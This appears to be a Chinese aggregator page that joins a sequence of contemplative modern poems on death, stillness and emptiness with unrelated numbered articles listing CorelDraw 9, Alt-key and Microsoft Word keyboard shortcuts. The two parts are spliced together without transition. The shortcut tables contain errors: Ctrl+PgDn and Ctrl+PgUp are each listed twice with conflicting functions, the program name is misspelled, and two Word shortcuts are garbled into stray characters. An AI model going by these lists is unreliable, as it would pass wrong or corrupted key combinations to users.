我的心是可以回应着夜晚
沉睡的群山的寂静，
请原谅我吧，
我是可以这样的，
让那痛苦的折磨过去，
像火车把铁轨都磨亮了。
眺望
万家灯火亮了，
但那已经不是万家灯火。
那是他对她的内疚，
也是她对他的内疚。
那是他们很难平息的欲望的内疚。
那是一条狗的内疚，
在摇着尾巴。
那也是一头牛的内疚，
挨着鞭子，在黄昏的田野上走着。
那是院子里生了锈的
铁管子的内疚，滴着清水，
像群山里寺院的钟舌，
敲打着寂静的万家灯火的夜晚。
生死恋
一个人死后的生活
是活人对他的回忆——
当他死去很久以后，
他用过的镜子开口说话了，
他坐过的椅子喃喃低语了，
连小路也在回想着他的脚步。
在窗外，
缓缓的笛音和缓缓的落日，
是他惯用的语调。
一个活人的生活，是对死人的回忆——
在过了很久以后，
活人的语调，动作，
跟死去的人一样了。
死叶
死的树叶，
从枝条上滑落，
无论我们怎样留恋，
死的树叶，
也要滑落。
多好啊！
什么都不要了，我们就安宁了，汇入那寂静的一部分，
一切都是透明的，
再也没有什么可以让我们颤栗，
也没有什么需要掩藏。
多好啊，
活得越长久，
就越会放弃，
越衰老，就越是回到了真样子，
所有的诱惑都消失了，
就安详了。
悲痛，
终于凝成了蜜。
多好啊，
回到了老样子，
我们就胜利了，
轻得不得了，
像雪花一样，
铺天盖地，
而雪花对世界的意思是覆盖和融化。
啊，在我们自己的手中，
我们失去了重量，
没有了。多好啊！
我们为什么要不快活啊？
我们为什么要把那些破烂事情挂在心上？
我们为什么要认为自己是一个不幸的人？
我要大声喊叫，
大声喊叫：
“我是不死的，
我是不死的。”
多好啊，
我们从来没有离去，
就像那总是让我们恍惚的
湖面上的空旷……
小花园
一个喧嚣了太久的人，
当他走进树林，竟然很难平静下来。
三张椅子空空落落的，
风，一阵阵地吹来，
但是什么也没有，
但是什么也没有。
沉稳的群山在远处，勾勒着快活的线条。
你为什么要想像出一座地狱来折磨自己？
哦，什么也没有，
哦，什么也没有，
狗叫声，一句紧似一句，
像一块块大石头，在砸向臭水塘。
但是什么也没有，但是什么也没有，
一只买来才三天的小画眉，
飞出了竹笼子，又飞进去了。
我们之间已经没什么话好说了。
我们看到的世界是静默的。
哦，什么也没有，
哦，什么也没有。
我根本就不是一个迷路的人，
更不是一个不幸的人，
就像那静默一样，
就像那静默里摆动的树梢一样。
哦，什么也没有，
哦，什么也没有，
所以同她在一起生活的恐惧，
像一种经久不散的气味，
我既不愿意沉溺，也不愿意冷漠，
我该怎么办呢？
但是什么也没有，
哦，什么也没有。
人有时候连笼子也眷恋，
连一句好听的话，不好听的话，
连用过的一支铅笔，
自己种的一棵柿子树也放不下。
但是什么也没有，
哦，什么也没有，
所以什么也不要去想，
安心地睡吧，
睡得像一首歌谣，
睡得像隧道里的列车，
因为什么也没有，
哦，什么也没有——
所以不记住任何东西的心灵运用自如了，
幸福，像月亮周围的一圈圈茸毛，
带着这个印象，我们去睡吧。
哭泣
“你为什么不把烟戒掉？”
“哪有那么容易的事！”
“为什么不试试呢？”
“试过好多次了。”
一对男子隔着冬天的河岸在说话。
听到这些话的我，
哭了。
尤其是这几年，
岁数大了，反而更容易了。
像是为了一片银杏树的叶子，
一张小纸片，
一支小蜡笔。
我甚至还为孤寡老人的一双筷子哭过，
为妈妈磨平的搓衣板哭过。
我看见坟边湿润的土，
像晶莹的泪滴，
我为单纯的暮色哭了。
为我自己的幸福哭了，
为我的灵魂像夜晚一样清新，哭了。
我就这样流着泪，
感受那幸福的起伏。
我们的故事
我们也不知道造了什么罪，
走到今天这个地步。
连自己的源头也不知道在哪里，
我们抛下了圣人永恒的教育。
快要一百年过去了，
我们忘记了很多事情。
虽然受了很多苦，
但都没起到什么作用。
就像泼在石头上的水，
连痕迹都找不到了。
那种不得安宁，没有归宿
而弄出来的痛苦的声音，在继续着。
难道就不会有这样一天，
受苦。又使我们回到大度和坦荡。
由悲伤到欢乐，
由衰老到新生。
一座座坟地，
就像父母一样在盼着我们归来。
我们放下了自己，
就是放下了漫漫长夜。
灰斑鸠
像一根带血的细绳子，
像一个抱着婴孩的穷母亲。
像窗玻璃上的泥点，
这是那片树林里灰斑鸠的啼声。
风大起来，
湖面昏暗、空阔。
仿佛我的生命
就要显露出来——
薄暮时分的杉树林
那里是一片片安谧的杉树叶，
那是历代游子的心。
那里逝去的一天天都静止了，
那里的安宁来自天上。
一条小径在树荫下伸展，
通向薄暮中的流水。
古代沉睡的智慧从那里苏醒，
死去的亲人，从那里回来。
临河的阳台
不懂得“流水一去不复返”的麻雀，
每天早晨在我临河的阳台上啼叫，
寒伧的身体，
就像冬天盖着薄雪的小村庄。
不懂得“流水一去不复返”的麻雀，
每天都使我从睡梦中醒来。
看着阳台下的流水一去不复返，
直到现在，我也没有像河边的柳树一样安详。
一位绣花的乡下妇女
冬日午后的阳光
特别舒坦，
照着她手上的金线，
她正在绣两条龙。
她的脚
摆在草焐窠里。
墙壁上，
挂着各种蔬菜的种，
桐油漆过的大门，
散着闷闷的光。
一阵清风，
吹落了杉树
如果我有这一阵清风的坦荡就好了。
几根老丝瓜悬在木架上——
她绣的两条龙的绸子布，
要供在菩萨前的香案上，
为了死的时候像树叶一样悄然。
在她的家门口，
走了几辈子的一条石路，
像一块老银子在薄暮里伸展。
一阵清风吹过，
如果我有这一阵清风的安详，
我就好了。
小镇理发室里的大镜子
“你们都来了，
你们都去了，
我都看到了，
但是我没有动，
我看着你们
就像看着木偶——”
理发室里的大镜子，
像小镇上的先知，
以无声的语言，
向我讲述这个平凡的真理。
我不得不说，
三十二年过去了，
我心中的情欲还没有平息，
这是我片刻都得不到安宁的原因，
我的欲望就像溅在绿叶上的石灰，
这是折磨我的第一个问题。
折磨我的第二个问题是死亡，
人们用寻欢作乐把它放弃了，
不是要等到死亡的时候，
我们才是死人，
不是要等到烧成灰烬的时候，
我们才是灰烬。
我们必须经过长久的寻找。
才能回到起点，
回到老柳树下的石凳上，
两眼望着波光粼粼的湖水。
我们还以为灵魂是可以寻找的，
但如果灵魂是可以寻找的，
灵魂也就可以失落，
失落的东西不会长久，
不会长久我们也就无须寻找。
在这里静静地坐着吧：
“你们都来了，
你们都去了，
我都看到了，
但是我没有动，
我看着你们，
就像看着木偶，
我是镇定的，
但是我没有说：
我是镇定的……”
小镇理发室里的大镜子，
虽然没有这样说，
但它这样做着。
骰子的八面
1
他的眼睛认为那是花。
他嗅出那芳香，
听见风声越过枝叶，
舌头也尝出苦味，
花瓣触摸那身体
承转和意识就告诉他
——是一朵菊花。
就这样，他被它们束缚，
到死也认为那是菊花
那是男女，昼夜
善恶或者政体的庞大。
他被这些现象，
激荡得汹涌澎湃。
2
幻影意识的大海上那个看花的人，
聆听心灵的运动，来自虚空，
而那现象的肉身，
独坐或飘移。
是什么让我走在马鞍山？
让我看花，看你
为了更好地看你，
让我不动，让事物
来映现，来消失。
而执着于我是谁的人
就是执着虚幻的肉体。
你涎生在你尚未获得的明镜。
3
瀑布没有固定的形态，
一直在迁流，阳光也是现象
认为它们是实有的
——是习性。
泥土担任的教师，
相生相克的尺度，
比起青铜
雨前的龙井……但生命是假设
都是假设，万物表面的分歧
又像琴弓和七弦琴，
善与恶，上坡和下坡
偏移了，涌现如此多的
——名相。
仿佛音乐停止，烦恼
又重复悬挂的旧毛巾。
4
在塔上谈起灵魂的
一夜，灯
显现严肃的暗淡——叶下圣殿，
月亮在每一座山坡升起。
相对性的快乐，相对性的男子，
表面的差别，不是差别。
你以人的面貌，
以相对的面貌出现于世，
下一次，
下一次？改变它
像镜子的客观，
变成骷髅与万物的平等。
落尽叶子的大枝，配合
月亮，一世的秩序
得以完成，一无所有
却包含万物，名曰：大圆镜智。
****年，桥，隐居地点
一
星期日，攀援，挨着黑暗，
松冠上的鸟啼，擦亮水面
仿佛是他，
去寒冷的夜空攀登，
绿叶的一闪。
本来在心中的河水，像太阳
并不来自外面，直到远方
都是他，远处的烟囱闪耀
一座雌性的城市，
就要被幻象包容 。
仿佛悲痛，为了想像而来
为单调添上绿枝
一边养花，一边读经
一把二胡的庭院，这些深渊抓住
隐退。
在水上父亲自由自在，
在城中，他把肥肉
切得多厚，仿佛一个伊斯兰信徒，
变成做梦的俗民，
去黑暗中拔几根葱叶。
要去你就去吧，
过一道铁轨，
一个隧道；
三十米的黄花土坡——一座砖屋，
松针拍打头颅。
二
左边的水上有一台挖泥船。
几个工人如同镶牙，打着瞌睡
那边圆洞的桥面，开来
元宝形的歪歪车，
上方的太阳是一株展开的垂柳
在铁丝网的葡萄架下，
恍惚千秋万代，在寻找：
填平我的深坑吧！
隐匿着，心灵的陡峭，
映着朝霞——
而我站立的地方，桥悬于黑水，
下水沟泛着白沫
激流处形成小小的漩涡——
漏水的管道喷出碎珠
在上空，划一道弧线
我们何曾抵达明澈？
在想像中美丽，实际中丑陋的
洞穴上盘恒，感官的风景，
那妇人的腰臀就是虚幻本身，
我万万没有想到。
水上几座土岛，在岸边
绿草的映照下显得更黑。
火车头沉默，黑黄相间的栏杆
指向渺茫的天空，持久的停顿。
建造它，又毁于它……踢着灰尘。
一九九三年，桥，隐居地点
一
黄色的活塞男子，通过大桥，
褐色的汽缸妇人，通过大桥，
在黑水河上观想世界，
更真实，更不真实。
活塞运动；汽缸，停息吧——
一棵树的风情，一家烟摊，
为灰尘安排的坐椅，
革命口吻的标语，荒诞并幼稚着
早晨，烟囱竖直灰暗
黑水河向前，它的终点莫名，
桥梁是严峻而抽象的提拔。
死去的阅读马列的人，留下我们
喝鱼刺里的奶，品尝唯物的空气。
黄色与褐色的噩梦紧贴桥梁。
继续，继续——现实主义使灵魂辗转。
戴耳机的青年，漫步的短裙
他们无异于清风中的鬼魂
在桥梁上，轻易地循环显现，
这表面的可怕，使人难以超越
反射，回光——拆掉，又结成的圆圈。
向东南，黑水河流去，
梧桐花，树，仿佛创造。
新兴的花园枯萎
穿牛仔装的人头发梳得像汉奸。
沉默要二十年，挖泥船颤动又咳嗽。
二
松针轻拂肉体，
当灯高悬
狐狸会来到松树下集合。
群山像葫芦上的白霜，条纹美丽
吸引崩溃的光。
一条长湖，北头在峡谷
升起庄严和荒凉，点起书本
点起肉体！
大地的色彩，太阳和月亮的色彩，
否定这个执着自我的假人。
啊，群山的诱惑，源于自己，
它不存在象征，它的
名字和象征是他赋予的，
而他就类似于群山，
这种推测必然导致虚无。
树梢起风了。
他是太阳照耀，昏暗笼罩的事物
其中包含着明亮的大门与灿烂本身
让单调完成最高的赋格，
空洞，但是原原本本。
星辰高挂，与孤单对应
群山倾下松针，蓝烟的翅翼，
——斜向河流。
把绿色带离群山，
我对镜子说：你，就是我实在的虚幻。
这里
这里是郊外，
这里是破碎山河唯一的完整，
这里只有两件事物，
塔，落日
我永远在透明中，
没有目标可以抵达，
没有一首歌儿应当唱完。
我几千里的心中，
没有一点波澜，
一点破碎，
几十只鸟震撼的空间啊，我哭了，
我的心里是世界永久的寂静，
透彻，一眼到底，
化为蜿蜒的群山，静水流深的长河。
篇18：CorelDraw 9便捷键
有许多人反应:CD虽然好用,但不像ADOBE的软件那样专业,比如说快捷键,高手往往左手键盘,右手鼠标,运指如飞…………
但是我发现CD的快键也不少，只不过好多人知道的太少而已，我这里抄录一份给大家，以备查用：
所有的便捷键，不管是什么类型，都可以由相关的功能组合，
CorelDraw 9便捷键
。CorelDRAW有150个预设便捷键――学会使用这些便捷键可以赢得时间。一、主便捷键：这些便捷键用在选定的物件上。主便捷键可以在绘图窗口使用，也可以在对话框中使用。
主要便捷键打开对话框和卷帘窗。它们还能使用户设定对话框中的参数，如“对齐与分布”对话框的参数。除主便捷键外，用户按Alt键加任何菜单带底线字符，可以读取菜单和命令。例如，用户需要打开一个新的图形，你可以按Alt+F键，再按N键。下面的表单列出了主便捷键及其每一种便捷键的简要介绍。
工具列便捷键
便捷键 名称 简要介绍
空格键 选取 从目前工具和选取工具之间来回切换（文字工具除外）
Ctrl+空格键 选取 从任何工具（包括文字工具）切换到选取工具
F5 曲线工具 选取上一次使用的曲线工具
F10 造形工具 选取造形工具
F8 文字工具 选取文字工具
F7 椭圆形工具 选取椭圆形工具
F6 矩形工具 选取矩形工具
Y 多边形工具 选取多边形工具
文件管理便捷键
便捷键 名称 简要介绍
Ctrl+N 新的 新建一个文件
Ctrl+O 打开 打开一个现有的文件
Ctrl+I 输入 输入文件到CrelDRAW中
Ctrl+E 输出 从CrelDRAW输出文件
Ctrl+S 储存文件 使用现有的文件名（如果用户没有指定文件名，CorelDRAW将提示用户给其文件命名）储存目前版本的工作文件
Ctrl+P 打印 打印工作文件或选择
Ctrl+J 选项 进入选项对话框，让用户进行默认设置
显示便捷键
便捷键 名称 简要介绍
Ctrl+W 刷新 刷新绘图文件中的检视
单击一个滚动标记 刷新 刷新绘图窗口的检视
F9 全屏预览 切换全屏预览
Shift+F9 检视 在最后两个检视属性（例如增强和框架模式）之间切换
Ctrl+Enter 属性列 切换属性列显示，让用户标记各种功能
PgDn 页面导航 显示多页面文件中的下一个页面，或在一个文件中插入一个新页面
PgUp 页面导航 显示多页面文件中的前一个页面
显示比例/平移便捷键
便捷键 名称 简要介绍
Ctrl+F2 显示比例/平移 打开检视管理员
F2 放大 选取显示比例工具―在选定的点上单击放大一倍，或单击并拖动以放大文件的某个区域
Shift+F2 放大选定物件 改变检视，在图形中用可以显示的最大尺寸显示选定的物件
F3 缩小 恢复到以前的缩放级检视
F4 放大所有的物件 改变检视，在图形中用可以显示的最大尺寸显示所有的物件
H平移工具 选取平移工具
Shift+F4 放大到页面 改变检视以显示可打印页面
Alt+下箭头 向下平移 向下平移文件
Alt+上箭头 向上平移 向上平移文件
Alt+右箭头 向右平移 向右平移文件
Alt+左箭头 向左平移 向左平移文件
编辑便捷键
便捷键 名称 简要介绍
Ctrl+C 复制 复制选择物件到剪贴板
Ctrl+insert 复制 复制选择物件到剪贴板
Ctrl+X 剪下 从绘图中去掉选择物件，或把选择物件放在剪贴板上
Shift+delete 剪下 从绘图中去掉选择物件，或把选择物件放在剪贴板上
Ctrl+V 粘贴 从文件中粘贴剪贴板的内容
Shift+insert 粘贴 从文件中粘贴剪贴板的内容
delete 删除 从文件中删除选定的物件
Ctrl+Z 复原 恢复上次操作
Alt+Backspace 复原 恢复上次操作
Ctrl+Shift+Z 重做 恢复上次复原操作
Ctrl+R 重复 重复上次操作
Ctrl+Shift+A 复制属性 从一个物件复制设定的属性到另一个物件
Ctrl+D 复制 复制选择物件，并按照选项对话框中的设定将它定位
加号（+） 复制 复制选择物件，并把它直接重叠在原物件的上面
物件管理便捷键
便捷键 名称 简要介绍
Ctlr+F5 样式 打开Styles泊坞窗口
Alt+Enter 属性 显示活动工具或物件的属性
Ctrl+Q 变成曲线 把选定的物件变成曲线
Ctrl+L 合并 把选定的物件合并成具有一系列属性的单一物件
Ctrl+K 拆分 把选定的多路径物件拆分成单个物件
Ctrl+G 群组 群组选定的物件
Ctrl+U 撤消群组 撤消所选物件的群组
Ctrl+Y 贴齐格点 激活贴齐格点特性
Ctrl+Shift+Q 转换外框 把一种外框变成一个物件
Ctrl+A 选择全部物件 选择图形中的所有物件
顺序/位置便捷键
便捷键 名称 简要介绍
Ctrl+PgDn 向后一个 在物件层中把物件向后移动一个位置
Ctrl+PgUp 向前一个 在物件层中把物件向前移动一个位置
Ctrl+PgDn 到最后面 移动物件到寄存物件那一层的后面
Ctrl+PgUp 到最前面 移动物件到寄存物件那一层的前面
下箭头 微调 通过微调选项对话框中指定的值调小选择物件
上箭头 微调 通过微调选项对话框中指定的值调大选择物件
右箭头 微调 通过微调选项对话框中指定的值向右微调选择物件
左箭头 微调 通过微调选项对话框中指定的值向左微调选择物件
Shift+下箭头 精密微调 通过精密微调选项对话框中指定的值调小选择物件
Shift+上箭头 精密微调 通过精密微调选项对话框中指定的值调大选择物件
Shift+右箭头 精密微调 通过精密微调选项对话框中指定的值向右微调选择物件
Shift+左箭头 精密微调 通过精密微调选项对话框中指定的值向左微调选择物件
篇19：Alt键的用途
1. 激活操作命令
按下Alt键可以激活活动窗口的菜单栏，使菜单栏的第一个菜单成为高亮条，而按下Alt键和一个字母就可以激活这个字母所代表的菜单项，如按下Alt＋F就可以激活当前窗口的“文件（File）”菜单，此外，在对话框中，同时按下Alt键和带下划线的字母则可以选定该选项并执行相应的操作。
2. 终止某一进程
按下Ctrl＋Alt＋Del组合键即可弹出一个“关闭程序”对话框，选取某一进程，然后点击“结束任务”即可快速终止该进程。而再次按下Ctrl＋Alt＋Del组合键则可重新启动计算机。
3. 弹出下拉列表
在对话框中，可以通过Alt＋向下箭头键来弹出所选的下拉列表，以免去移动鼠标寻找并点击列表框下箭头按钮之苦。
4. 快速查看属性
按下Alt＋Enter组合键或在按住Alt键的同时鼠标左键双击某对象（如资源管理器右边窗口中的文件夹、文件、桌面上的图标等，左边窗口中的文件夹不行），则可快速打开其“属性”对话框，
其作用相当于点鼠标右键，并选取“属性”
5. 切换DOS窗口
按下Alt＋Enter组合键可以在窗口和全屏幕方式下切换MS－DOS。
6. 万能抓图热键
在运行游戏或其它应用软件中，当屏幕上出现精美的画面时按下键盘上的Alt＋PrintScreen组合键，就可以把当前活动窗口或对话框的内容拷贝至剪贴板，然后调用“画笔”或其它绘图程序，选取“编辑”菜单中的“粘贴”项，即可调出一幅漂亮的画面来。 当然，我们如果只是按下PrintScreen键，就是全屏抓图。
篇20：Word快速键列表
1、快速重复输入字符
“F4”键可以重复最后一步操作，按F4还可以用于重复输入某个字符。例如输入一个“XP”后，按下F4键，将在光标处重复输入又一个“XP”，当你要重复复制大段大段的文字时，按“F4”真是绝佳的选择!
2、快速选定字符块
在文件左边空白处：单击鼠标可以选定一行文字;双击则选定整个段落;按住Ctrl单击鼠标，选定全文。
在文档中：双击鼠标选定词组;三击鼠标选定段落;按住Ctrl单击鼠标，选定一个句子。
3、快速复制到剪贴板
按Print Screen：将屏幕的显示内容复制到剪贴板;Alt+Print Screen：将选中窗口的显示内容复制到剪贴板。
4、快速插入当前日期和时间
你可以用以下两个组合键快速插入当前日期和时间，插入日期：“Alt+Shift+D”键;插入时间：“Alt+Shift+T”键。
5、快速创建和撤销上、下标
创建上标的快捷键：“Ctrl+加号”，再按一次即撤销。创建下标的快捷键：“Ctrl+减号”，再按一次即撤销。
6、快速显示智能标记的菜单
Alt+Shift+F10：可以显示智能标记的菜单或消息。如果当前有多个智能标记，则切换到下一个智能标记并显示其菜单或消息。
7、快速把文本升为标题
方法是：先将光标定位在要升为标题的文本行，然后按下“Alt+Shift+?”组合键，可将文本快速升为标题、且样式为1，按“Alt+Shift+à”组合键，可将标题逐渐降为2、3……9。
8、快速插入艺术字图形对象
单击“插入”菜单的“图片/艺术字”子菜单，用箭头键选择所需艺术字样式，然后按Enter，键入所需文字，用Tab选择对话框中的其他选项，最后按回车即可。
9、快速插入文本框
选择“插入”菜单上的.“文本框”，然后按下Ctrl+Enter;在文本框中键入所需文本;完成键入内容后，若希望切换回文档中正在编辑的文本，请按Shift+F10，在弹出的快捷菜单中选择“退出文本编辑”，最后按Esc。
10、快速旋转图形对象
先选定要旋转的图形对象，然后用键盘选择与所选类型的对象对应的命令，例如在“格式”菜单上，选择“自选图形”或“文本框”，然后选择“大小”选项卡;在“尺寸和旋转”下，使用Tab键以选择“旋转”，最后键入需要旋转的角度。
11、快速更改图形对象在页面中的位置
方法是：选定要更改的图形对象;然后用键盘选择与该对象相应的命令，例如在“格式”菜单上，选择“自选图形”或“文本框”，然后选择“版式”选项卡;选择所需选项，若要选择其他选项，请单击“高级”。
12、一次击键调出任务面板
我们可以通过指定一个快捷键来代替相应的鼠标操作，从而节约大量的时间。方法是：选择“工具”/定制化，然后点击“命令”标签，点击对话框底部附近的“键盘”按钮，在左边的分类清单中选择“编辑”，滑动右边的“命令”列表选择“查看任务面板”，在“选择新的快捷键”域中输入快捷键组合，例如使用Ctrl-K，最后点“指定”按钮。
以后只要按Ctrl-K组合键就会显示任务面板，第二次按Ctrl-K键任务面板消失。
Word常用的其它文本编辑快捷键：
Ctrl+Shift+空格键：创建不间断空格
Ctrl+连字符：创建不间断连字符
Ctrl+B：使字符变为粗体
Ctrl+I：使字符变为斜体
Ctrl+U：为字符添加下划线
Ctrl+Shift+<：缩小字号
Ctrl+Shift+>：增大字号
Ctrl+空格键：删除段落或字符格式
Ctrl+C：复制所选文本或对象
Ctrl+X：剪切所选文本或对象
Ctrl+V：粘贴文本或对象
Ctrl+Z：撤消上一步操作
Ctrl+Y：重复上一操作
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